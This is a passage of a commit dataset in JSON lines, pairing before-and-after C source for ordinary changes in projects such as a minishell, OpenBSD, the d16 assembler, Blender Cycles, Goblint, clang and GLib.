number increased to 3.","message":"Build number increased to 3.\n","lang":"C","license":"artistic-2.0","repos":"copasi\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,jonasfoe\/COPASI,copasi\/COPASI,copasi\/COPASI,copasi\/COPASI"}
{"commit":"00e8765b3a2db414e655021fadf86f420c11d4a5","old_file":"srcs\/testpath.c","new_file":"srcs\/testpath.c","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   testpath.c                                         :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: sle-guil <sle-guil@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/03\/11 16:25:34 by sle-guil          #+#    #+#             *\/\n\/*   Updated: 2015\/03\/11 16:48:51 by sle-guil         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"minishell.h\"\n\nint\t\ttestpath(char *path)\n{\n\tint\t\tret;\n\n\tft_putendl(\"boobs\");\n\tret = (access(path, F_OK)) ? 1 : 0;\n\tret += (access(path, R_OK)) ? 2 : 0;\n\tret += (access(path, W_OK)) ? 4 : 0;\n\tret += (access(path, X_OK)) ? 8 : 0;\n\treturn (ret);\n}\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   testpath.c                                         :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: sle-guil <sle-guil@student.42.fr>          +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/03\/11 16:25:34 by sle-guil          #+#    #+#             *\/\n\/*   Updated: 2015\/03\/12 16:00:13 by sle-guil         ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"minishell.h\"\n\nint\t\ttestpath(char const *path)\n{\n\tint\t\tret;\n\n\tret = (access(path, F_OK) != -1) ? 1 : 0;\n\tret += (access(path, X_OK) != -1) ? 8 : 0;\n\treturn (ret);\n}\n","subject":"Check dir have to be done","message":"Check dir have to be done\n","lang":"C","license":"mit","repos":"SuliacLEGUILLOU\/minishell"}
{"commit":"74105155ca352765df67c735573f725ab89c269e","old_file":"arch\/octeon\/include\/param.h","new_file":"arch\/octeon\/include\/param.h","old_contents":"\/* $OpenBSD: param.h,v 1.2 2010\/10\/11 15:51:06 syuu Exp $ *\/\n\/* public domain *\/\n\n#ifndef _MACHINE_PARAM_H_\n#define _MACHINE_PARAM_H_\n\n#define\tMACHINE\t\t\"octeon\"\n#define\t_MACHINE\tocteon\n#define MACHINE_ARCH\t\"mips64\"\n#define _MACHINE_ARCH\tmips64\n\/* not the canonical endianness *\/\n#define\tMACHINE_CPU\t\"mips64\"\n#define\t_MACHINE_CPU\tmips64\n\n#define MID_MACHINE\tMID_MIPS64\n\n\/*\n * The Loongson level 1 cache expects software to prevent virtual\n * aliases. Unfortunately, since this cache is physically tagged,\n * this would require all virtual address to have the same bits 14\n * and 13 as their physical addresses, which is not something the\n * kernel can guarantee unless the page size is at least 16KB.\n *\/\n#define\tPAGE_SHIFT\t14\n\n#include <mips64\/param.h>\n\n#endif\t\/* _MACHINE_PARAM_H_ *\/\n","new_contents":"\/* $OpenBSD: param.h,v 1.3 2011\/06\/25 19:38:47 miod Exp $ *\/\n\/* public domain *\/\n\n#ifndef _MACHINE_PARAM_H_\n#define _MACHINE_PARAM_H_\n\n#define\tMACHINE\t\t\"octeon\"\n#define\t_MACHINE\tocteon\n#define MACHINE_ARCH\t\"mips64\"\n#define _MACHINE_ARCH\tmips64\n\n#define MID_MACHINE\tMID_MIPS64\n\n#define\tPAGE_SHIFT\t14\n\n#include <mips64\/param.h>\n\n#endif\t\/* _MACHINE_PARAM_H_ *\/\n","subject":"Remove irrelevant comments borrowed from loongson.","message":"Remove irrelevant comments borrowed from loongson.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"9899ff8cb4bd63601fc3dfa115b00d65c3388fff","old_file":"ConfinementForce.h","new_file":"ConfinementForce.h","old_contents":"\/*===- ConfinementForce.h - libSimulation -=====================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef CONFINEMENTFORCE_H\n#define CONFINEMENTFORCE_H\n\n#include \"Force.h\"\n\nclass ConfinementForce : public Force {\npublic:\n\tConfinementForce(Cloud * const C, double confineConst)\n\t: Force(C), confine(confineConst) {}\n\t\/\/ IMPORTANT: In the above constructor, confineConst must be positive!\n\t~ConfinementForce() {}\n\n\tvoid force1(const double currentTime); \/\/ rk substep 1\n\tvoid force2(const double currentTime); \/\/ rk substep 2\n\tvoid force3(const double currentTime); \/\/ rk substep 3\n\tvoid force4(const double currentTime); \/\/ rk substep 4\n\n\tvoid writeForce(fitsfile * const file, int * const error) const;\n\tvoid readForce(fitsfile * const file, int * const error);\n\nprivate:\n\tdouble confine; \/\/ [V\/m^2]\n\n\tvoid force(const cloud_index currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ CONFINEMENTFORCE_H\n","new_contents":"\/*===- ConfinementForce.h - libSimulation -=====================================\n*\n*                                  DEMON\n*\n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n*\n*===-----------------------------------------------------------------------===*\/\n\n#ifndef CONFINEMENTFORCE_H\n#define CONFINEMENTFORCE_H\n\n#include \"Force.h\"\n\nclass ConfinementForce : public Force {\npublic:\n\tConfinementForce(Cloud * const C, double confineConst)\n\t: Force(C), confine(confineConst) {}\n\t\/\/ IMPORTANT: In the above constructor, confineConst must be positive!\n\t~ConfinementForce() {}\n\n\tvirtual void force1(const double currentTime); \/\/ rk substep 1\n\tvirtual void force2(const double currentTime); \/\/ rk substep 2\n\tvirtual void force3(const double currentTime); \/\/ rk substep 3\n\tvirtual void force4(const double currentTime); \/\/ rk substep 4\n\n\tvirtual void writeForce(fitsfile * const file, int * const error) const;\n\tvirtual void readForce(fitsfile * const file, int * const error);\n\nprivate:\n\tdouble confine; \/\/ [V\/m^2]\n\n\tvoid force(const cloud_index currentParticle, const __m128d currentPositionX, const __m128d currentPositionY);\n};\n\n#endif \/\/ CONFINEMENTFORCE_H\n","subject":"Add virtual to methods that get overridden.","message":"Add virtual to methods that get overridden.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"d8a0e9ab3b1189d994142a5adb1e144f378534c9","old_file":"assembler\/d16-main\/main.c","new_file":"assembler\/d16-main\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  d16-asm\n\/\/\n\/\/  Created by Michael Nolan on 6\/17\/16.\n\/\/  Copyright © 2016 Michael Nolan. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"parser.h\"\n#include \"assembler.h\"\n#include <string.h>\n#include \"instruction.h\"\n\nextern int yyparse (FILE* output_file);\nextern FILE* yyin;\nextern int yydebug;\nint main(int argc, const char * argv[]) {\n    \n    if(argc != 3){\n        fprintf(stderr, \"Usage d16-asm [file] [output]\\n\");\n        exit(-1);\n    }\n    FILE* f = fopen(argv[1], \"r\");\n    FILE* o = fopen(argv[2], \"wb\");\n    if(f == NULL){\n        fprintf(stderr, \"Error opening file %s\\n\",argv[1]);\n        exit(-1);\n    }\n    if(o == NULL){\n        fprintf(stderr, \"Error opening file %s for writing\\n\",argv[2]);\n        exit(2);\n    }\n    yyin = f;\n\n\t  init_hash_table();\n    do {\n        yyparse(o);\n    } while (!feof(yyin));\n    fclose(f);\n    fclose(o);\n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  d16-asm\n\/\/\n\/\/  Created by Michael Nolan on 6\/17\/16.\n\/\/  Copyright © 2016 Michael Nolan. All rights reserved.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include \"parser.h\"\n#include \"assembler.h\"\n#include <string.h>\n#include \"instruction.h\"\n#include <unistd.h>\nextern int yyparse (FILE* output_file);\nextern FILE* yyin;\nextern int yydebug;\nint main(int argc, char * const argv[]) {\n    FILE *f,*o;\n    opterr = 0;\n    int c;\n    while ((c=getopt(argc,argv,\"o:\")) != -1){\n        switch(c){\n            case 'o':\n                o = fopen(optarg,\"wb\");\n\n\n        }\n    }\n    if(optind<argc) f = fopen(argv[optind],\"r\");\n    else{\n        fprintf(stderr,\"d16: No input files specified\\n\");\n        exit(-1);\n    }\n    if(o==NULL){\n        o=fopen(\"a.out\",\"wb\");\n    }\n\n\n    yyin = f;\n\n\t  init_hash_table();\n    do {\n        yyparse(o);\n    } while (!feof(yyin));\n    fclose(f);\n    fclose(o);\n    return 0;\n}\n","subject":"Convert assembler to use getopt for arguments","message":"Convert assembler to use getopt for arguments\n","lang":"C","license":"mit","repos":"d16-processor\/d16,d16-processor\/d16,d16-processor\/d16,d16-processor\/d16,d16-processor\/d16"}
{"commit":"ef1774c5b7f39291692a42b4aeced11abf8e7ace","old_file":"util\/util_optimization.h","new_file":"util\/util_optimization.h","old_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License\n *\/\n\n#if defined(__x86_64__) || defined(_M_X64)\n\n\/* no SSE2 kernel on x86-64, part of regular kernel *\/\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE3\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE41\n\n#endif\n\n#if defined(i386) || defined(_M_IX86)\n\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE2\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE3\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE41\n\n#endif\n","new_contents":"\/*\n * Copyright 2011-2013 Blender Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License\n *\/\n\n#if defined(__x86_64__) || defined(_M_X64)\n\n\/* no SSE2 kernel on x86-64, part of regular kernel *\/\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE3\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE41\n\n\/* VC2008 is not ready for sse41, probably broken blendv intrinsic... *\/\n#if defined(_MSC_VER) && (_MSC_VER < 1700)\n#undef WITH_CYCLES_OPTIMIZED_KERNEL_SSE41\n#endif\n\n#endif\n\n#if defined(i386) || defined(_M_IX86)\n\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE2\n#define WITH_CYCLES_OPTIMIZED_KERNEL_SSE3\n\n#endif\n","subject":"Disable SSE41 kernel on 32bit, we don't use intrinsics here anyway. Also disable it for Visual Studio < 2012, broken blendv instruction.","message":"Cycles: Disable SSE41 kernel on 32bit, we don't use intrinsics here anyway. Also disable it for Visual Studio < 2012, broken blendv instruction.\n","lang":"C","license":"apache-2.0","repos":"pyrochlore\/cycles,tangent-opensource\/coreBlackbird,pyrochlore\/cycles,tangent-opensource\/coreBlackbird,pyrochlore\/cycles,tangent-opensource\/coreBlackbird"}
{"commit":"7017b65feabeaf9fb8d2c2b7f6a97a3b3e39b8a1","old_file":"exercise108.c","new_file":"exercise108.c","old_contents":"","new_contents":"\/* Write a program to count blanks, tabs, and newlines. *\/\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n  uint32_t blank_count, tab_count, newline_count;\n  int16_t character;\n  blank_count = tab_count = newline_count = 0;\n  while ((character = getchar()) != EOF) {\n    switch (character) {\n      case ' ':\n        blank_count++;\n        break;\n      case '\\t':\n        tab_count++;\n        break;\n      case '\\n':\n        newline_count++;\n        break;\n    }\n  }\n  printf(\"Number of blanks: %d\\n\", blank_count);\n  printf(\"Number of tabs: %d\\n\", tab_count);\n  printf(\"Number of newlines: %d\\n\", newline_count);\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-8.","message":"Add solution to Exercise 1-8.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"dff2094cb79c6a0bbb2e2af74af488a106c033cc","old_file":"lib\/packet_queue.c","new_file":"lib\/packet_queue.c","old_contents":"#include \"packet_queue.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nuint32_t packet_queue_init(packet_queue_t * queue)\n{\n    queue->head = 0;\n    queue->tail = 0;\n\n    return SUCCESS;\n}\n\nbool packet_queue_is_empty(packet_queue_t * queue)\n{\n    return queue->head == queue->tail;\n}\n\nbool packet_queue_is_full(packet_queue_t * queue)\n{\n    return abs(queue->head - queue->tail) == PACKET_QUEUE_SIZE;\n}\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet)\n{\n    if (packet_queue_is_full(queue))\n        return NO_MEMORY;\n\n    memcpy(&queue->packets[0], packet, sizeof(packet));\n\n    queue->tail++;\n\n    return SUCCESS;\n}\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet)\n{\n    if (packet_queue_is_empty(queue))\n        return NOT_FOUND;\n\n    *packet = &queue->packets[queue->head];\n\n    queue->head++;\n\n    return SUCCESS;\n}\n\n","new_contents":"#include \"packet_queue.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nuint32_t packet_queue_init(packet_queue_t * queue)\n{\n    queue->head = 0;\n    queue->tail = 0;\n\n    return SUCCESS;\n}\n\nbool packet_queue_is_empty(packet_queue_t * queue)\n{\n    return queue->head == queue->tail;\n}\n\nbool packet_queue_is_full(packet_queue_t * queue)\n{\n    return abs(queue->head - queue->tail) == PACKET_QUEUE_SIZE;\n}\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet)\n{\n    if (packet_queue_is_full(queue))\n        return NO_MEMORY;\n\n    memcpy(&queue->packets[0], packet, sizeof(*packet));\n\n    queue->tail++;\n\n    return SUCCESS;\n}\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet)\n{\n    if (packet_queue_is_empty(queue))\n        return NOT_FOUND;\n\n    *packet = &queue->packets[queue->head];\n\n    queue->head++;\n\n    return SUCCESS;\n}\n\n","subject":"Fix bug in add, copy size.","message":"Fix bug in add, copy size.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"b35338e24ee34bd3de4bae1bd10785c060aa4c39","old_file":"tests\/regression\/13-privatized\/23-traces-paper2.c","new_file":"tests\/regression\/13-privatized\/23-traces-paper2.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --sets exp.solver.td3.side_widen cycle_self\n#include <pthread.h>\n#include <assert.h>\n\nint g = 6;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x = 1;\n  pthread_mutex_lock(&A);\n  assert(g == 6);\n  assert(x == 1);\n  g = 5;\n  assert(g == 5);\n  assert(x == 1);\n  pthread_mutex_lock(&B);\n  assert(g == 5);\n  assert(x == 1);\n  pthread_mutex_unlock(&B);\n  assert(g == 5);\n  assert(x == 1);\n  x = g;\n  assert(x == 5);\n  g = x + 1;\n  assert(g == 6);\n  x = g;          \/\/ added\n  assert(g == 6); \/\/ added\n  assert(x == 6); \/\/ added\n  pthread_mutex_unlock(&A);\n  assert(x == 6); \/\/ modified\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(g == 6);\n  pthread_create(&id, NULL, t_fun, NULL);\n  assert(5 <= g);\n  assert(g <= 6);\n  pthread_join(id, NULL);\n  return 0;\n}\n","subject":"Add ignored example from traces paper","message":"Add ignored example from traces paper\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4a14e0945732e5c67aca01d6bd070d00d1697d9a","old_file":"jsonpull.h","new_file":"jsonpull.h","old_contents":"typedef enum json_type {\n\tJSON_HASH, JSON_ARRAY, JSON_NUMBER, JSON_STRING, JSON_TRUE, JSON_FALSE, JSON_NULL,\n\tJSON_COMMA, JSON_COLON, JSON_ITEM, JSON_KEY, JSON_VALUE,\n} json_type;\n\ntypedef struct json_object {\n\tjson_type type;\n\tstruct json_object *parent;\n\n\tchar *string;\n\tdouble number;\n\n\tstruct json_object **array;\n\tstruct json_object **keys;\n\tstruct json_object **values;\n\tint length;\n\n\tint expect;\n} json_object;\n\nstruct json_pull {\n\tjson_object *root;\n\tchar *error;\n\n\tint (*read)(struct json_pull *);\n\tint (*peek)(struct json_pull *);\n\tvoid *source;\n\tint line;\n\n\tjson_object *container;\n};\ntypedef struct json_pull json_pull;\n\ntypedef void (*json_separator_callback)(json_type type, json_pull *j, void *state);\n\njson_pull *json_begin_file(FILE *f);\njson_pull *json_begin_string(char *s);\njson_object *json_parse(json_pull *j);\njson_object *json_parse_with_separators(json_pull *j, json_separator_callback cb, void *state);\nvoid json_free(json_object *j);\n\njson_object *json_hash_get(json_object *o, char *s);\n","new_contents":"typedef enum json_type {\n\t\/\/ These types can be returned by json_parse()\n\tJSON_HASH, JSON_ARRAY, JSON_NUMBER, JSON_STRING, JSON_TRUE, JSON_FALSE, JSON_NULL,\n\n\t\/\/ These and JSON_HASH and JSON_ARRAY can be called back by json_parse_with_separators()\n\tJSON_COMMA, JSON_COLON,\n\n\t\/\/ These are only used internally as expectations of what comes next\n\tJSON_ITEM, JSON_KEY, JSON_VALUE,\n} json_type;\n\ntypedef struct json_object {\n\tjson_type type;\n\tstruct json_object *parent;\n\n\tchar *string;\n\tdouble number;\n\n\tstruct json_object **array;\n\tstruct json_object **keys;\n\tstruct json_object **values;\n\tint length;\n\n\tint expect;\n} json_object;\n\nstruct json_pull {\n\tjson_object *root;\n\tchar *error;\n\n\tint (*read)(struct json_pull *);\n\tint (*peek)(struct json_pull *);\n\tvoid *source;\n\tint line;\n\n\tjson_object *container;\n};\ntypedef struct json_pull json_pull;\n\ntypedef void (*json_separator_callback)(json_type type, json_pull *j, void *state);\n\njson_pull *json_begin_file(FILE *f);\njson_pull *json_begin_string(char *s);\njson_object *json_parse(json_pull *j);\njson_object *json_parse_with_separators(json_pull *j, json_separator_callback cb, void *state);\nvoid json_free(json_object *j);\n\njson_object *json_hash_get(json_object *o, char *s);\n","subject":"Clarify what types are used where","message":"Clarify what types are used where\n","lang":"C","license":"bsd-2-clause","repos":"mapbox\/tippecanoe,joykuotw\/tippecanoe,landsurveyorsunited\/tippecanoe,mapbox\/tippecanoe,ericfischer\/json-pull,mapbox\/tippecanoe,landsurveyorsunited\/tippecanoe,mapbox\/tippecanoe,joykuotw\/tippecanoe"}
{"commit":"2bb49affe3bc123a13cc0e05d94dd8c32ac087e1","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#ifndef __ADR_MAIN_H__\n#define __ADR_MAIN_H__\n\n\/\/ Libraries \/\/\n#include \"craftable.h\"\n#include \"resource.h\"\n#include \"villager.h\"\n#include \"location.h\"\n\n\/\/ Forward Declarations \/\/\nstruct adr_state {\n    enum LOCATION adr_loc;\n    enum FIRE_STATE adr_fire;\n    enum ROOM_TEMP adr_temp;\n    unsigned int adr_rs [ALIEN_ALLOY + 1];\n    unsigned short adr_cs [RIFLE + 1];\n    unsigned short adr_vs [MUNITIONIST + 1];\n};\n\n#endif \/\/ __ADR_MAIN_H__\n\/\/ vim: set ts=4 sw=4 et:\n","new_contents":"#ifndef __ADR_MAIN_H__\n#define __ADR_MAIN_H__\n\n\/\/ Libraries \/\/\n#include \"craftable.h\"\n#include \"resource.h\"\n#include \"villager.h\"\n#include \"location.h\"\n\n\/\/ Forward Declarations \/\/\nstruct adr_state {\n    enum LOCATION loc;\n    enum FIRE_STATE fire;\n    enum ROOM_TEMP temp;\n    unsigned int rs [ALIEN_ALLOY + 1];\n    unsigned short cs [RIFLE + 1];\n    unsigned short vs [MUNITIONIST + 1];\n};\n\n#endif \/\/ __ADR_MAIN_H__\n\/\/ vim: set ts=4 sw=4 et:\n","subject":"Remove unnecessary state variable adr_ prefixes","message":"Remove unnecessary state variable adr_ prefixes\n","lang":"C","license":"mpl-2.0","repos":"HalosGhost\/adarcroom"}
{"commit":"7b2154cb6232a9d289a95ce79e70c590fee12d63","old_file":"test\/Frontend\/optimization-remark-options.c","new_file":"test\/Frontend\/optimization-remark-options.c","old_contents":"\/\/ RUN: %clang -O1 -fvectorize -Rpass-analysis=loop-vectorize -emit-llvm -S %s -o - 2>&1 | FileCheck %s\n\n\/\/ CHECK: {{.*}}:9:11: remark: loop not vectorized: vectorization requires changes in the order of operations, however IEEE 754 floating-point operations are not commutative; allow commutativity by specifying '#pragma clang loop vectorize(enable)' before the loop or by providing the compiler option '-ffast-math'\n\ndouble foo(int N) {\n  double v = 0.0;\n\n  for (int i = 0; i < N; i++)\n    v = v + 1.0;\n\n  return v;\n}\n","new_contents":"\/\/ RUN: %clang -O1 -fvectorize -target x86_64-unknown-unknown -Rpass-analysis=loop-vectorize -emit-llvm -S %s -o - 2>&1 | FileCheck %s\n\n\/\/ CHECK: {{.*}}:9:11: remark: loop not vectorized: vectorization requires changes in the order of operations, however IEEE 754 floating-point operations are not commutative; allow commutativity by specifying '#pragma clang loop vectorize(enable)' before the loop or by providing the compiler option '-ffast-math'\n\ndouble foo(int N) {\n  double v = 0.0;\n\n  for (int i = 0; i < N; i++)\n    v = v + 1.0;\n\n  return v;\n}\n","subject":"Make frontend floating-point commutivity test X86 specific to avoid cost-model related problems on arm-thumb and hexagon.","message":"Make frontend floating-point commutivity test X86 specific to avoid cost-model related problems on arm-thumb and hexagon.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@244517 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"37f07d9a6bcd16b9f3f461eeb1a4acdfd8643cc5","old_file":"src\/util\/strext.h","new_file":"src\/util\/strext.h","old_contents":"\/\/ Copyright 2015 Ben Trask\n\/\/ MIT licensed (see LICENSE for details)\n\n#include <stdarg.h>\n\nchar *vaasprintf(char const *const fmt, va_list ap);\nchar *aasprintf(char const *const fmt, ...) __attribute__((format(printf, 1, 2)));\n\nint time_iso8601(char *const out, size_t const max);\n\nvoid valogf(char const *const fmt, va_list ap);\nvoid alogf(char const *const fmt, ...);\n\n","new_contents":"\/\/ Copyright 2015 Ben Trask\n\/\/ MIT licensed (see LICENSE for details)\n\n#include <stdarg.h>\n\nchar *vaasprintf(char const *const fmt, va_list ap);\nchar *aasprintf(char const *const fmt, ...) __attribute__((format(printf, 1, 2)));\n\nint time_iso8601(char *const out, size_t const max);\n\nvoid valogf(char const *const fmt, va_list ap);\nvoid alogf(char const *const fmt, ...) __attribute__((format(printf, 1, 2)));\n\n","subject":"Add printf __attribute__ to log function.","message":"Add printf __attribute__ to log function.\n","lang":"C","license":"mit","repos":"btrask\/stronglink,Ryezhang\/stronglink,btrask\/stronglink,Ryezhang\/stronglink,Ryezhang\/stronglink,btrask\/stronglink,btrask\/stronglink"}
{"commit":"5e994b1e9ba0ddbd27773825cb8bfe30ee2e69d2","old_file":"gobject\/gobject-autocleanups.h","new_file":"gobject\/gobject-autocleanups.h","old_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTO_CLEANUP_FREE_FUNC(GStrv, g_strfreev, NULL)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","new_contents":"\/*\n * Copyright © 2015 Canonical Limited\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the licence, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Ryan Lortie <desrt@desrt.ca>\n *\/\n\n#if !defined (__GLIB_GOBJECT_H_INSIDE__) && !defined (GOBJECT_COMPILATION)\n#error \"Only <glib-object.h> can be included directly.\"\n#endif\n\nG_DEFINE_AUTO_CLEANUP_FREE_FUNC(GStrv, g_strfreev, NULL)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GObject, g_object_unref)\nG_DEFINE_AUTOPTR_CLEANUP_FUNC(GInitiallyUnowned, g_object_unref)\nG_DEFINE_AUTO_CLEANUP_CLEAR_FUNC(GValue, g_value_unset)\n","subject":"Add missing autocleanup for GInitiallyUnowned","message":"gobject: Add missing autocleanup for GInitiallyUnowned\n\nWe are missing the auto cleanup function for this type, which means\nG_DECLARE_* macros won't work with classes inheriting from\nGInitiallyUnowned.\n","lang":"C","license":"lgpl-2.1","repos":"ieei\/glib,cention-sany\/glib,MathieuDuponchelle\/glib,endlessm\/glib,lukasz-skalski\/glib,tchakabam\/glib,mzabaluev\/glib,johne53\/MB3Glib,krichter722\/glib,johne53\/MB3Glib,mzabaluev\/glib,MathieuDuponchelle\/glib,ieei\/glib,krichter722\/glib,mzabaluev\/glib,krichter722\/glib,tchakabam\/glib,endlessm\/glib,tamaskenez\/glib,MathieuDuponchelle\/glib,tchakabam\/glib,tamaskenez\/glib,cention-sany\/glib,mzabaluev\/glib,lukasz-skalski\/glib,gale320\/glib,tchakabam\/glib,ieei\/glib,ieei\/glib,Distrotech\/glib,mzabaluev\/glib,MathieuDuponchelle\/glib,gale320\/glib,ieei\/glib,tchakabam\/glib,endlessm\/glib,tamaskenez\/glib,johne53\/MB3Glib,endlessm\/glib,johne53\/MB3Glib,Distrotech\/glib,gale320\/glib,lukasz-skalski\/glib,cention-sany\/glib,gale320\/glib,tamaskenez\/glib,johne53\/MB3Glib,Distrotech\/glib,gale320\/glib,lukasz-skalski\/glib,krichter722\/glib,johne53\/MB3Glib,Distrotech\/glib,endlessm\/glib,MathieuDuponchelle\/glib,lukasz-skalski\/glib,cention-sany\/glib,cention-sany\/glib,tamaskenez\/glib,Distrotech\/glib,krichter722\/glib"}
